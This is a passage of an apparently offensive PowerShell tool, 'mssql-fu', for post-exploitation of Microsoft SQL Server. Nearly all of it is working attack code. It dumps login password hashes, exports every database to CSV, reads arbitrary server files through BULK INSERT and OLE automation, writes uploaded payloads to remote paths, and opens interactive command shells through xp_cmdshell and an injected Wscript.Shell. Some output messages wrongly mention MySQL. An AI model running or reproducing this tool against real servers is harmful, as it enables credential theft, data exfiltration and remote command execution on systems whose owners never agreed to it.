- $sql = "SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins;";
- } else { # 2005+
- $sql = "SELECT name, master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins;";
- }
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq '') {
- $mssqlCredsOut = "[*] MS-SQL Users & Passwords:`n";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- $mssqlCredsOut += " [+] USER: $($row.name)`n";
- $mssqlCredsOut += " [-] PASS: $($row.Column1)`n";
- }
- }
- Write-Host $mssqlCredsOut;
- New-Item -path $outDir -Name "mssqlfu-mssql.users_and_passwords.txt" -Value $mssqlCredsOut -ItemType file -force | Out-Null;
- } else {
- Write-Host "[ERROR] Problem Fetching MS-SQL Users & Passwords! privs?";
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- $sqlResult.result;
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.tbl' -Or $userArg.ToLower() -match '^dump.table' -Or $userArg.ToLower() -match '^table.dump') {
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Available Databases: ";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- Write-Host " [+] $($row.name)";
- }
- }
- Write-Host "";
- }
- $dbName = Read-Host "ENTER Database Name to Dump";
- Write-Host "";
- $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
- if($defaultDBs -contains $dbName) {
- Write-Host " [-] NOT Dumping DB: $($dbName)";
- Write-Host " [x] It's a default MS-SQL database, there's no point....";
- } else {
- $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Available Tables in DB: $($dbName)";
- foreach($row in $sqlResult.result) {
- Write-Host " [+] $($row[2])";
- }
- Write-Host "";
- }
- $dbTblName = Read-Host "ENTER Table Name to Dump";
- Write-Host "";
- $c = @();
- $columns = {$c}.Invoke();
- $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -ne $NULL -And $sqlResult.msg -eq "") {
- foreach($row in $sqlResult.result) {
- if($columns -notcontains $row.COLUMN_NAME) {
- $columns.Add($row.COLUMN_NAME);
- }
- }
- } else {
- Write-Host "[?] NO Columns/Data to Dump from Table?";
- if($sqlResult.msg -eq "") {
- $sqlResult.result;
- } else {
- $sqlResult.msg;
- }
- }
- if($columns.Count -gt 1) {
- $sql = "SELECT "
- foreach($column in $columns) {
- $sql += "$($column),";
- }
- $sql = $sql -replace ",$", "";
- $sql += " FROM dbo.$($dbTblName);";
- $finalSqlResult = mssql_query $sql;
- if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
- $out = "";
- foreach($column in $columns) {
- $out += "$($column),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($finalRow in $finalSqlResult.result) {
- $rowOut += "";
- foreach($column in $columns) {
- $rowOut += "$($finalRow."$column"),";
- }
- $rowOut = $rowOut -replace ",$", "";
- $out += "$($rowOut)`n";
- }
- #$out | ConvertFrom-CSV;
- New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Problem Dumping Table";
- if($finalSqlResult.msg.Trim() -ne "") {
- $finalSqlResult.msg;
- } else {
- $finalSqlResult.result;
- }
- }
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.db' -Or $userArg.ToLower() -match '^dump.database' -Or $userArg.ToLower() -match '^db.dump') {
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.result -ne $NULL) {
- Write-Host "[*] Available Databases: ";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- Write-Host " [+] $($row.name)";
- }
- }
- Write-Host "";
- }
- $dbName = Read-Host "ENTER Database Name to Dump";
- Write-Host "";
- $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
- if($defaultDBs -contains $dbName) {
- Write-Host " [-] NOT Dumping DB: $($dbName)";
- Write-Host " [x] It's a default MS-SQL database, there's no point....";
- } else {
- Write-Host " [+] Dumping All Tables in DB: $($dbName)";
- # Fetch Tables from DB now...
- $sqlResult = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- if($sqlResult.result -ne $NULL) {
- foreach($row in $sqlResult.result) {
- # Get Columns for Table now...
- $dbTblName = $row[2];
- Write-Host " [-] Dumping Table:$($dbTblName)";
- $c = @();
- $columns = {$c}.Invoke();
- $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
- $sqlResult2 = mssql_query $sql;
- if($sqlResult2.result -ne $NULL -And $sqlResult2.msg -eq "") {
- foreach($row2 in $sqlResult2.result) {
- if($columns -notcontains $row2.COLUMN_NAME) {
- $columns.Add($row2.COLUMN_NAME);
- }
- }
- }
- if($columns.Count -gt 1) {
- $sql = "SELECT "
- foreach($column in $columns) {
- $sql += "$($column),";
- }
- $sql = $sql -replace ",$", "";
- $sql += " FROM dbo.$($dbTblName);";
- $finalSqlResult = mssql_query $sql;
- if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
- $out = "";
- foreach($column in $columns) {
- $out += "$($column),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($finalRow in $finalSqlResult.result) {
- $rowOut += "";
- foreach($column in $columns) {
- $rowOut += "$($finalRow."$column"),";
- }
- $rowOut = $rowOut -replace ",$", "";
- $out += "$($rowOut)`n";
- }
- #$out | ConvertFrom-CSV;
- New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Problem Dumping Table";
- if($finalSqlResult.msg.Trim() -ne "") {
- $finalSqlResult.msg;
- } else {
- $finalSqlResult.result;
- }
- }
- }
- }
- Write-Host "";
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^dump.all') {
- $dumpOutDir = $outDir + "\dumps\";
- if(!(Test-Path -PathType Container $dumpOutDir)) {
- New-Item -ItemType Directory -Force -Path $dumpOutDir | Out-Null;
- }
- $sqlResult = mssql_query "SELECT name FROM master..sysdatabases;";
- if($sqlResult.msg -eq "") {
- Write-Host "[*] Attempting to Dump ALL Databases, hang tight...";
- foreach($row in $sqlResult.result) {
- if($row.name -ne $NULL) {
- $dbName = $row.name;
- $defaultDBs = @('msdb', 'model', 'pub', 'northwind', 'tempdb');
- if($defaultDBs -contains $dbName) {
- Write-Host " [-] Skipping Default DB: $($dbName)";
- continue;
- }
- Write-Host " [+] Dumping DB: $($dbName)...";
- # Fetch Tables from DB now...
- $sqlResult2 = mssql_query "SELECT * FROM $($dbName).information_schema.tables WHERE TABLE_TYPE='BASE TABLE' AND TABLE_SCHEMA = 'dbo';";
- if($sqlResult2.result -ne $NULL) {
- foreach($row2 in $sqlResult2.result) {
- # Get Columns for Table now...
- $dbTblName = $row2[2];
- Write-Host " [-] Dumping Table:$($dbTblName)";
- $c = @();
- $columns = {$c}.Invoke();
- $sql = "SELECT COLUMN_NAME From $($dbName).INFORMATION_SCHEMA.COLUMNS Where TABLE_CATALOG Like '$($dbName)' AND TABLE_NAME like '$($dbTblName)' AND TABLE_SCHEMA like 'dbo';";
- $sqlResult3 = mssql_query $sql;
- if($sqlResult3.result -ne $NULL -And $sqlResult3.msg -eq "") {
- foreach($row3 in $sqlResult3.result) {
- if($columns -notcontains $row3.COLUMN_NAME) {
- $columns.Add($row3.COLUMN_NAME);
- }
- }
- }
- if($columns.Count -gt 1) {
- $sql = "SELECT "
- foreach($column in $columns) {
- $sql += "$($column),";
- }
- $sql = $sql -replace ",$", "";
- $sql += " FROM dbo.$($dbTblName);";
- $finalSqlResult = mssql_query $sql;
- if($finalSqlResult.result -ne $NULL -And $finalSqlResult.msg -eq "") {
- $out = "";
- foreach($column in $columns) {
- $out += "$($column),";
- }
- $out = $out -replace ",$", "";
- $out += "`n";
- foreach($finalRow in $finalSqlResult.result) {
- $rowOut += "";
- foreach($column in $columns) {
- $rowOut += "$($finalRow."$column"),";
- }
- $rowOut = $rowOut -replace ",$", "";
- $out += "$($rowOut)`n";
- }
- #$out | ConvertFrom-CSV;
- New-Item -path $dumpOutDir -Name "$($dbName).$($dbTblName).csv" -Value $out -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Problem Dumping Table";
- if($finalSqlResult.msg.Trim() -ne "") {
- $finalSqlResult.msg;
- } else {
- $finalSqlResult.result;
- }
- }
- }
- }
- Write-Host "";
- }
- }
- }
- } else {
- Write-Host " [x] Unable to Get Database Listing to Dump Everything";
- $sqlResult.msg;
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^read$' -Or $userArg.ToLower() -match '^read\.file' -Or $userArg.ToLower() -match '^bulk.read') {
- $fileOutDir = $outDir + "\files\";
- if(!(Test-Path -PathType Container $fileOutDir)) {
- New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
- }
- Write-Host "[*] Dropping to File Reader Shell";
- Write-Host " [+] Enter path to file to read";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n"
- While($True) {
- $fileArg = Read-Host "(mssql-fu\file_reader)>";
- if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, closing file reader session...`n`n";
- Break;
- } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
- Write-Host "`n[*] File Reader:";
- Write-Host " [+] Simply type the full path to file to read & hit enter";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n";
- } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($fileArg.ToLower() -match '^load (.+)$') {
- $loadFileFile = $matches[1];
- if(Test-Path -Path $loadFileFile) {
- $filez = Get-Content -Path $loadFileFile;
- foreach($f in $filez) {
- $rand = randz 10;
- $fileOut = "";
- $sqlResult = mssql_query "CREATE TABLE $($rand) (line varchar(8000));";
- if($sqlResult.msg -eq "") {
- $sqlResult = mssql_query "BULK INSERT $($rand) FROM '$($f)';";
- if($sqlResult.msg -eq "") {
- $sqlResult = mssql_query "SELECT * FROM $($rand);";
- if($sqlResult.msg -eq "") {
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $fileOut += "$($row[0])`n";
- }
- } else {
- try {
- $fileOut = $sqlResult.result.Column1;
- } catch {
- $fileOut = $sqlResult.result;
- }
- }
- $sqlResult = mssql_query "DROP TABLE $($rand);";
- }
- }
- }
- if($fileOut -ne "") {
- Write-Host " [*] FILE: $($f)`n";
- Write-Host "[*] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $f -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "mssqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Failed: $($f)";
- }
- }
- } else {
- Write-Host "[x] Unable to load file: $loadFileFile";
- Write-Host " [x] Check path or permissions and try again...`n`n";
- }
- } else {
- $rand = randz 10;
- $fileOut = "";
- $sqlResult = mssql_query "CREATE TABLE $($rand) (line varchar(8000));";
- if($sqlResult.msg -eq "") {
- $sqlResult = mssql_query "BULK INSERT $($rand) FROM '$($fileArg)';";
- if($sqlResult.msg -eq "") {
- $sqlResult = mssql_query "SELECT * FROM $($rand);";
- if($sqlResult.msg -eq "") {
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $fileOut += "$($row[0])`n";
- }
- } else {
- try {
- $fileOut = $sqlResult.result.Column1;
- } catch {
- $fileOut = $sqlResult.result;
- }
- }
- $sqlResult = mssql_query "DROP TABLE $($rand);";
- } else {
- Write-Host "[x] Problem fetching file content from table";
- $sqlResult.msg;
- }
- } else {
- Write-Host "[x] Problem using Bulk Insert to load data in table";
- $sqlResult.msg;
- }
- } else {
- Write-Host "[x] Problem Creating Table to Load File Content Into!";
- $sqlResult.msg;
- }
- if($fileOut -ne "") {
- Write-Host "[*] FILE: $($fileArg)";
- Write-Host "[*] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $fileArg -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "mssqlfu-read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] No Results Returned";
- }
- }
- Write-Host "";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^inline.read$' -Or $userArg.ToLower() -match '^read\.inline') {
- $fileOutDir = $outDir + "\files\";
- if(!(Test-Path -PathType Container $fileOutDir)) {
- New-Item -ItemType Directory -Force -Path $fileOutDir | Out-Null;
- }
- Write-Host "[*] Dropping to Inline @FileSystemObject File Reader Shell";
- Write-Host " [+] Enter path to file to read";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n"
- While($True) {
- $fileArg = Read-Host "(mssql-fu\inline@file_reader)>";
- if($fileArg.ToLower() -eq 'x' -Or $fileArg.ToLower() -eq 'exit' -Or $fileArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, closing file reader session...`n`n";
- Break;
- } elseif($fileArg.ToLower() -eq '?' -Or $fileArg.ToLower() -eq 'h' -Or $fileArg.ToLower() -eq 'help') {
- Write-Host "`n[*] Inline @FileSystemObject File Reader:";
- Write-Host " [+] Simply type the full path to file to read & hit enter";
- Write-Host " [+] Type EXIT or QUIT to end file reader session...`n`n";
- } elseif($fileArg.ToLower() -eq 'cls' -Or $fileArg.ToLower() -eq 'clear') {
- PrintBanner;
- } elseif($fileArg.ToLower() -match '^load (.+)$') {
- $loadFileFile = $matches[1];
- if(Test-Path -Path $loadFileFile) {
- $filez = Get-Content -Path $loadFileFile;
- foreach($f in $filez) {
- $fileOut = "";
- $sql = "declare @o int, @f int, @ret int, @line varchar(8000);";
- $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
- $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($f)', 1;";
- $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
- $sql += "select @line;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $fileOut += "$($row[0])`n";
- }
- } else {
- try {
- $fileOut = $sqlResult.result.Column1;
- } catch {
- $fileOut = $sqlResult.result;
- }
- }
- } else {
- }
- if($fileOut -ne "") {
- Write-Host " [*] FILE: $($f)`n";
- Write-Host "[*] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $f -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "mssqlfu-inline.read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] Failed: $($f)";
- }
- }
- } else {
- Write-Host "[x] Unable to load file: $loadFileFile";
- Write-Host " [x] Check path or permissions and try again...`n`n";
- }
- } else {
- $fileOut = "";
- $sql = "declare @o int, @f int, @ret int, @line varchar(8000);";
- $sql += "exec sp_oacreate 'scripting.filesystemobject', @o out;";
- $sql += "exec sp_oamethod @o, 'opentextfile', @f out, '$($fileArg)', 1;";
- $sql += "exec @ret = sp_oamethod @f, 'readall', @line out;";
- $sql += "select @line;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.msg -eq "") {
- if($sqlResult.rowCount -gt 1) {
- foreach($row in $sqlResult.result) {
- $fileOut += "$($row[0])`n";
- }
- } else {
- try {
- $fileOut = $sqlResult.result.Column1;
- } catch {
- $fileOut = $sqlResult.result;
- }
- }
- } else {
- Write-Host "[x] Problem Reading File Content!";
- $sqlResult.msg;
- }
- if($fileOut -ne "") {
- Write-Host "[*] FILE: $($fileArg)";
- Write-Host "[*] FILE CONTENT:";
- Write-Host $fileOut;
- $filename = $fileArg -replace "\\\\", "\\";
- $filename = $filename -replace "[/\\\|]", "_";
- $filename = $filename -replace "\[\+\{\}=';\:<>,\*&\^%\$#@!~`\]", "";
- $filename = $filename -replace '"', "";
- $filename = $filename.Replace(':', "");
- New-Item -path $fileOutDir -Name "mssqlfu-inline.read.file-$($filename).txt" -Value $fileOut -ItemType file -force | Out-Null;
- } else {
- Write-Host " [x] No Results Returned";
- }
- }
- Write-Host "";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^write$' -Or $userArg.ToLower() -match '^write\.file' -Or $userArg.ToLower() -match '^write\.out') {
- While($True) {
- Write-Host "[*] Write Payload Options: ";
- Write-Host " [1] Load content from a local file";
- Write-Host " [2] Type in content to terminal";
- Write-Host " [x] Exit File Writer Session`n";
- $writeArg = Read-Host "ENTER Write Payload Option";
- Write-Host "";
- if($writeArg -eq "1") {
- $writeArg = Read-Host "ENTER Path to Local File";
- $writeContent = convertFileContentToHexStr $writeArg;
- Write-Host "";
- While($True) {
- Write-Host "[*] Write Path Options: ";
- Write-Host " [1] Provide Single Path to Write To";
- Write-Host " [2] Load Directory Paths to Write to From File`n";
- $writePathArg = Read-Host "ENTER Write Path Option";
- Write-Host "";
- if($writePathArg -eq "1") {
- $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
- Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
- $sql = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
- $sql += "SET @FileName = '$($writeRemoteFilename)';";
- $sql += "SET @Text1 = $($writeContent);";
- $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -eq $NULL) {
- Write-Host " [*] Content appears to have been written to MS-SQL host!`n`n";
- } else {
- Write-Host " [x] Problem Writing File Content to MS-SQL Host"
- if($sqlResult.msg -ne "") {
- $sqlResult.msg;
- } else {
- try {
- $sqlResult.result.output;
- } catch {
- $sqlResult.result;
- }
- }
- }
- } elseif($writePathArg -eq "2") {
- While($True) {
- $pathArg = Read-Host "ENTER local file to load write paths from";
- Write-Host "";
- if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
- if(Test-Path -Path $pathArg) {
- $fileNameArg = Read-Host "ENTER Filename to Write w/Path(s)";
- Write-Host "";
- $paths = Get-Content -Path $pathArg;
- foreach($path in $paths) {
- $writeRemoteFilename = $path + $fileNameArg;
- Write-Host "[*] Attempting write to: $writeRemoteFilename";
- $sql = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
- $sql += "SET @FileName = '$($writeRemoteFilename)';";
- $sql += "SET @Text1 = $($writeContent);";
- $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -eq $NULL) {
- Write-Host " [SUCCESS] Payload Written To:`n`t`t$($writeRemoteFilename)";
- } else {
- Write-Host " [x] Failed to write to: $($writeRemoteFilename)";
- }
- }
- Break;
- } else {
- Write-Host " [x] Unable to read file";
- Write-Host " [x] Check path or file permissions and try again....`n`n";
- }
- }
- } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
- Break;
- } else {
- Write-Host " [x] Invalid Write Path Option: $writePathArg";
- Write-Host " [x] Try again with a valid option....`n`n";
- }
- }
- } elseif($writeArg -eq "2") {
- $writeArg = Read-Host "ENTER Content to Write";
- $writeContent = convertStrContentToMssqlCharStr $writeArg;
- Write-Host "";
- While($True) {
- Write-Host "[*] Write Path Options: ";
- Write-Host " [1] Provide Single Path to Write To";
- Write-Host " [2] Load Paths to Write to From File`n";
- $writePathArg = Read-Host "ENTER Write Path Option";
- Write-Host "";
- if($writePathArg -eq "1") {
- $writeRemoteFilename = Read-Host "ENTER Remote Path w/Filename to Write";
- Write-Host "`n[*] OK, attempting write to: $writeRemoteFilename";
- $sql = "DECLARE @FS int, @OLEResult int, @FileID int, @FileName varchar(255), @Text1 varchar(255);";
- $sql += "SET @FileName = '$($writeRemoteFilename)';";
- $sql += "SET @Text1 = $($writeContent);";
- $sql += "EXECUTE @OLEResult = sp_OACreate 'Scripting.FileSystemObject', @FS OUT;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FS, 'OpenTextFile', @FileID OUT, @FileName, 8, 1;";
- $sql += "EXECUTE @OLEResult = sp_OAMethod @FileID, 'WriteLine', Null, @Text1;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FileID;";
- $sql += "EXECUTE @OLEResult = sp_OADestroy @FS;";
- $sqlResult = mssql_query $sql;
- if($sqlResult.result -eq $NULL) {
- Write-Host " [*] Content appears to have been written to MySQL host!`n`n";
- } else {
- Write-Host " [x] Problem Writing File Content to MySQL Host"
- if($sqlResult.msg -ne "") {
- Write-Host " [x] NO Output Received";
- $sqlResult.msg;
- } else {
- try {
- $sqlResult.result.output;
- } catch {
- $sqlResult.result;
- }
- }
- }
- Break;
- } elseif($writePathArg -eq "2") {
- While($True) {
- $pathArg = Read-Host "ENTER local file to load write paths from";
- Write-Host "";
- if($pathArg.ToLower() -eq 'x' -Or $pathArg.ToLower() -eq 'quit' -Or $pathArg.ToLower() -eq 'exit') { Break; }
- if(Test-Path -Path $pathArg) {
- $fileNameArg = Read-Host "ENTER filename to use with paths";
- Write-Host "";
- Write-Host "[*] Attempting file writes...";
- $paths = Get-Content -Path $pathArg;
- foreach($path in $paths) {
- $writeRemoteFilename = $path + $fileNameArg;
- $sqlResult = mysql_query "SELECT $($writeContent) INTO OUTFILE '$writeRemoteFilename';";
- if($sqlResult.result -eq $NULL) {
- Write-Host " [SUCCESS] Payload Written To:`n`t$($writeRemoteFilename)";
- } else {
- Write-Host " [x] Failed to write to: $($writeRemoteFilename)";
- }
- }
- Write-Host "`n";
- Break;
- } else {
- Write-Host " [x] Unable to read file";
- Write-Host " [x] Check path or file permissions and try again....`n`n";
- }
- }
- Break;
- } elseif($writePathArg.ToLower() -eq 'x' -Or $writePathArg.ToLower() -eq 'quit' -Or $writePathArg.ToLower() -eq 'exit') {
- Break;
- } else {
- Write-Host " [x] Invalid Write Path Option: $writePathArg";
- Write-Host " [x] Try again with a valid option....`n`n";
- }
- }
- } elseif($writeArg.ToLower() -eq "x" -Or $writeArg.ToLower() -eq "quit" -Or $writeArg.ToLower() -eq "exit") {
- Write-Host " [x] OK, exiting file writer session...`n";
- Break;
- } else {
- Write-Host "[x] Invalid Write Option: $writeArg";
- Write-Host " [x] Please select a valid Write option...`n";
- }
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^xp_cmdshell' -Or $userArg.ToLower() -match '^shell') {
- $result = mssql_query "SELECT CONVERT(INT, ISNULL(value, value_in_use)) AS config_value FROM sys.configurations WHERE name='xp_cmdshell';"
- if($result.result.config_value -eq 1) {
- Write-Host "[*] Confirmed xp_cmdshell is enabled!";
- Write-Host "[*] Dropping to shell session...";
- Write-Host " [+] Simply type command to execute and hit enter";
- Write-Host " [+] Type EXIT or QUIT to end shell session`n";
- While($True) {
- $cmdArg = Read-Host "(mssql-fu\xp_cmdshell)>";
- if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, closing xp_cmdshell shell session...`n";
- Break;
- } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
- Write-Host "`n[*] xp_cmdshell:";
- Write-Host " [+] Simply type the command to execute and hit enter";
- Write-Host " [+] Type EXIT or QUIT to end shell session...`n`n";
- } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
- PrintBanner;
- } else {
- Write-Host "";
- $result = mssql_query "EXEC xp_cmdshell '$($cmdArg)';";
- if($result.rowCount -gt 1) {
- foreach($row in $result.result) {
- $row[0];
- }
- } else {
- if($result.msg -ne "") {
- Write-Host " [x] NO Output Received";
- $result.msg;
- } else {
- try {
- $result.result.output;
- } catch {
- $result.result;
- }
- }
- }
- }
- }
- } else {
- Write-Host "[x] xp_cmdshell is NOT ENABLED currently";
- Write-Host " [x] You can try to ENABLE it from the main menu...";
- }
- Write-Host "";
- } elseif($userArg.ToLower() -match '^inline.cmd' -Or $userArg.ToLower() -match '^inline.shell') {
- Write-Host "[*] Attempting Inline Injection of @xp_cmdshell";
- Write-Host "[*] Dropping to shell session...";
- Write-Host " [+] Simply type command to execute and hit enter";
- Write-Host " [-] NOTE: 5 second delay after execution to ensure cleanup occurs";
- Write-Host " [+] Type EXIT or QUIT to end shell session`n";
- While($True) {
- $cmdArg = Read-Host "(mssql-fu\inline@cmdshell)>";
- if($cmdArg.ToLower() -eq 'x' -Or $cmdArg.ToLower() -eq 'exit' -Or $cmdArg.ToLower() -eq 'quit') {
- Write-Host " [x] OK, closing inline @xp_cmdshell shell session...`n";
- Break;
- } elseif($cmdArg.ToLower() -eq '?' -Or $cmdArg.ToLower() -eq 'h' -Or $cmdArg.ToLower() -eq 'help') {
- Write-Host "`n[*] @xp_cmdshell inline injection:";
- Write-Host " [+] Simply type the command to execute and hit enter";
- Write-Host " [-] NOTE: 5 second delay after execution to ensure cleanup occurs";
- Write-Host " [+] Type EXIT or QUIT to end shell session...`n`n";
- } elseif($cmdArg.ToLower() -eq 'cls' -Or $cmdArg.ToLower() -eq 'clear') {
- PrintBanner;
- } else {
- Write-Host "";
- # Execute Command & Redirect to file in MS-SQL data dir
- $rand = randz 10;
- $rand = "$($basicInfo.dataPath)$($rand).log";
- $sql = "declare @shell int, @oexec int, @rc int, @ExecStat int, @output nvarchar(max), @loop int;";
- $sql += "set @loop = 0;";
- $sql += "exec @rc = sp_OACreate 'Wscript.Shell', @shell output;";
- $sql += "if @rc = 0 begin exec @rc = sp_OAMethod @shell, 'exec', @oexec output, 'cmd.exe /C $($cmdArg) > `"$($rand)`"';";
- $sql += "if @rc <> 0 begin exec sp_OAGetErrorInfo @shell; end ";
- $sql += "else begin set @ExecStat = 0;";
- $sql += "while @ExecStat = 0 and @rc = 0 and @loop < 500";
- $sql += "begin set @loop = @loop + 1;";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
- $sql += "waitfor delay '0:00:03'; end ";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'Status', @ExecStat out;";
- $sql += "exec @rc = sp_OAGetProperty @oexec, 'StdOut.ReadAll', @output out;";
- $sql += "SELECT isnull(@output,'NULL'); end ";
- $sql += "EXEC sp_OAMethod @shell, 'Close';";
- $sql += "exec @rc = sp_oaDestroy @oexec;";
- $sql += "exec @rc = sp_oaDestroy @shell; end";
- # @output only seems to work on sql server 2000...
- $result = mssql_query $sql; # cmdoutput > $rand (random file in mssql data dir)
- Start-Sleep -s 1 # without delay, clenaup is unreliable - guessing due to file handle still open or something...
- # Read the command output from file
- $randTbl = randz 10;
- $executed = $False;
- $cmdOut = "";
- $sqlResult = mssql_query "CREATE TABLE $($randTbl) (line varchar(8000));";
- if($sqlResult.msg -eq "") {
- $rand = $rand.Replace("\\", "\\\\");
- $sqlResult = mssql_query "BULK INSERT $($randTbl) FROM '$($rand)';";
- if($sqlResult.msg -eq "") {
- $sqlResult = mssql_query "SELECT * FROM $($randTbl);";
- if($sqlResult.msg -eq "") {
- $executed = $True;
